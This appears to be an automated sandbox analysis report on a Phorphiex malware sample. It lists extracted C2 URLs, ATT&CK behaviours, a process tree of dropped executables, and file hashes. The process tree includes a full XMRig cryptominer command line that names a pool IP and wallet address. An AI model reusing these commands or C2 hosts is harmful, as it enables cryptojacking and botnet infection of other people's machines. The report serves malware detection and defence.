Analysis

  • max time kernel
    43s
  • max time network
    149s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260706-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    08/07/2026, 04:30

General

  • Target
    file.exe
  • Size 10KB
  • Sample260708-e5axhsay8w
  • SHA256 2181e3938d19e6b620e9f95f0790504d64ba19d3f450c34f4ec4d1e87c39026d
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • phorphiex

C2
  • http://91.92.242.107/lmix/

  • http://178.16.55.240/nmixx/

  • http://178.16.55.240/nmix/

  • http://178.16.55.240/

  • http://130.12.180.190/us/

  • http://130.12.180.190/xxx/

  • http://130.12.180.190/omix/

  • http://130.12.180.190/corp/

Mutex
  • aefaeffea

Attributes
  • user_agent

    Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36

Signatures

  • Family: Phorphiex, Phorpiex

    Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

  • Downloads MZ/PE file 10 IoCs
  • Executes dropped EXE 11 IoCs
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • System Location Discovery: System Language Discovery 1 TTPs 11 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies registry class 38 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 28 IoCs
  • Suspicious use of FindShellTrayWindow 45 IoCs
  • Suspicious use of SendNotifyMessage 31 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Downloads MZ/PE file
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3176
    • C:\Users\Admin\AppData\Local\Temp\2858922766.exe
      C:\Users\Admin\AppData\Local\Temp\2858922766.exe
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:5072
    • C:\Users\Admin\AppData\Local\Temp\2482734095.exe
      C:\Users\Admin\AppData\Local\Temp\2482734095.exe
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:1852
    • C:\Users\Admin\AppData\Local\Temp\2384511989.exe
      C:\Users\Admin\AppData\Local\Temp\2384511989.exe
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:5796
    • C:\Users\Admin\AppData\Local\Temp\1443722399.exe
      C:\Users\Admin\AppData\Local\Temp\1443722399.exe
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:2244
    • C:\Users\Admin\AppData\Local\Temp\2966232758.exe
      C:\Users\Admin\AppData\Local\Temp\2966232758.exe
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:4680
    • C:\Users\Admin\AppData\Local\Temp\1211910348.exe
      C:\Users\Admin\AppData\Local\Temp\1211910348.exe
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:4240
    • C:\Users\Admin\AppData\Local\Temp\1921020654.exe
      C:\Users\Admin\AppData\Local\Temp\1921020654.exe
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:828
    • C:\Users\Admin\AppData\Local\Temp\3182131062.exe
      C:\Users\Admin\AppData\Local\Temp\3182131062.exe
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:3724
    • C:\Users\Admin\AppData\Local\Temp\1689241371.exe
      C:\Users\Admin\AppData\Local\Temp\1689241371.exe
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:2760
    • C:\Users\Admin\AppData\Local\Temp\2136818958.exe
      C:\Users\Admin\AppData\Local\Temp\2136818958.exe
      2⤵
      • Downloads MZ/PE file
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1752
      • C:\Users\Admin\sysmgnrsv.exe
        C:\Users\Admin\sysmgnrsv.exe
        3⤵
        • Executes dropped EXE
        PID:5772
      • C:\sysfrodolv.exe
        \sysfrodolv.exe
        3⤵
          PID:5632
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /c C:\Users\Admin\sysmgnrsv.exe -o 178.16.54.109:6060 -u 83h9mBvy1LL2qW6c2HeWczYVJQsFDF7RfVqDnaiSfFBdDcxfyJfWhRnZqZkY5chb5b6tmKZ1PPhuQbNgXggCdwTrMYWN8hi -p x --cpu-priority=5 --threads=2 --max-cpu-usage=25
            4⤵
              PID:3244
              • C:\Users\Admin\sysmgnrsv.exe
                C:\Users\Admin\sysmgnrsv.exe -o 178.16.54.109:6060 -u 83h9mBvy1LL2qW6c2HeWczYVJQsFDF7RfVqDnaiSfFBdDcxfyJfWhRnZqZkY5chb5b6tmKZ1PPhuQbNgXggCdwTrMYWN8hi -p x --cpu-priority=5 --threads=2 --max-cpu-usage=25
                5⤵
                  PID:1988
        • C:\Windows\system32\sihost.exe
          sihost.exe
          1⤵
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:4436
          • C:\Windows\explorer.exe
            explorer.exe /LOADSAVEDWINDOWS
            2⤵
            • Boot or Logon Autostart Execution: Active Setup
            • Enumerates connected drives
            • Checks SCSI registry key(s)
            • Modifies Internet Explorer settings
            • Modifies registry class
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SendNotifyMessage
            • Suspicious use of SetWindowsHookEx
            PID:5500
        • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
          "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
          1⤵
          • Modifies registry class
          • Suspicious use of SetWindowsHookEx
          PID:1484
        • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
          "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
          1⤵
          • Modifies registry class
          • Suspicious use of SetWindowsHookEx
          PID:2836

        Network

              MITRE ATT&CK Enterprise v16

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              Downloads

              prep_Activatable Class_Hermes_perf.cache

              • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
              • Size 595B
              • SHA256 d4e60617c2afab8263febabe7f14f18595715078d71307a8cefe0707dae76dee
              • MD5 SHA1 SHA512 TLSH

              1211910348.exe

              • Path C:\Users\Admin\AppData\Local\Temp\1211910348.exe
              • Size 15KB
              • SHA256 f3121b85cca17df3fe49fe45f70a3afbdf7861bcb5057a46bc8f79e6475795e2
              • MD5 SHA1 SHA512 SSDEEP TLSH

              1443722399.exe

              • Path C:\Users\Admin\AppData\Local\Temp\1443722399.exe
              • Size 15KB
              • SHA256 5ad4fbf16c18e012d7a5f98b4900b45531e134ccbaf2a21d0b40d9066550f92b
              • MD5 SHA1 SHA512 SSDEEP TLSH

              1689241371.exe

              • Path C:\Users\Admin\AppData\Local\Temp\1689241371.exe
              • Size 15KB
              • SHA256 d117ee4a244959625a761696a9c719d161e6b11a7e880ada14ec8dde3f88d0ef
              • MD5 SHA1 SHA512 SSDEEP TLSH

              1921020654.exe

              • Path C:\Users\Admin\AppData\Local\Temp\1921020654.exe
              • Size 15KB
              • SHA256 2012c7af2da6b649bc2bb58f54837b200cafecc44ceda8d5e2e43b0ea205ac97
              • MD5 SHA1 SHA512 SSDEEP TLSH

              2136818958.exe

              • Path C:\Users\Admin\AppData\Local\Temp\2136818958.exe
              • Size 12KB
              • SHA256 01f64c61767bc41f039cf2080e61da49c96b14e4d558da6c03128e40ca816799
              • MD5 SHA1 SHA512 SSDEEP TLSH

              2384511989.exe

              • Path C:\Users\Admin\AppData\Local\Temp\2384511989.exe
              • Size 15KB
              • SHA256 ac39d18b75cecb1c62e4b70e3343bc8b8fc2b69b10e6c7d4ab3340031073804c
              • MD5 SHA1 SHA512 SSDEEP TLSH

              2482734095.exe

              • Path C:\Users\Admin\AppData\Local\Temp\2482734095.exe
              • Size 15KB
              • SHA256 3b2466d82fa7901766556b9f64fc16440477a2791fb9df01ee9d9c7c4b016c06
              • MD5 SHA1 SHA512 SSDEEP TLSH

              2858922766.exe

              • Path C:\Users\Admin\AppData\Local\Temp\2858922766.exe
              • Size 18KB
              • SHA256 f70b6a0341300dbb1fcad771e03a62544a9bb00abc14161cdcfb68b4022abdf7
              • MD5 SHA1 SHA512 SSDEEP TLSH

              2966232758.exe

              • Path C:\Users\Admin\AppData\Local\Temp\2966232758.exe
              • Size 15KB
              • SHA256 94c0b9560299cbe10c23b062f08849ac03e2bed78a71581e3adf5ddc015ca615
              • MD5 SHA1 SHA512 SSDEEP TLSH

              3182131062.exe

              • Path C:\Users\Admin\AppData\Local\Temp\3182131062.exe
              • Size 15KB
              • SHA256 4a8aa017e3bda8b370335b21c58a8918c5ea163e8b4364837fb15fccdbd15e02
              • MD5 SHA1 SHA512 SSDEEP TLSH

              sysmgnrsv.exe

              • Path C:\Users\Admin\sysmgnrsv.exe
              • Size 6.2MB
              • SHA256 001816f728d96a823a88e8243cba32486ff0207c123628fa767073bb4a49cd6e
              • MD5 SHA1 SHA512 SSDEEP TLSH

              memory/1484-101-0x000001CC01C40000-0x000001CC01C60000-memory.dmp

              memory/1484-78-0x000001CC01D40000-0x000001CC01E40000-memory.dmp

              memory/1484-69-0x000001CC001E0000-0x000001CC002E0000-memory.dmp

              memory/1484-112-0x000001CC142F0000-0x000001CC14310000-memory.dmp

              memory/1484-77-0x000001CC01900000-0x000001CC01920000-memory.dmp

              memory/2836-254-0x000001DA72A90000-0x000001DA72D4C000-memory.dmp

              memory/2836-273-0x000001DA72A90000-0x000001DA72D4C000-memory.dmp

              memory/5500-252-0x000000000E7C0000-0x000000000E86E000-memory.dmp

              memory/5772-67-0x0000021D35010000-0x0000021D35030000-memory.dmp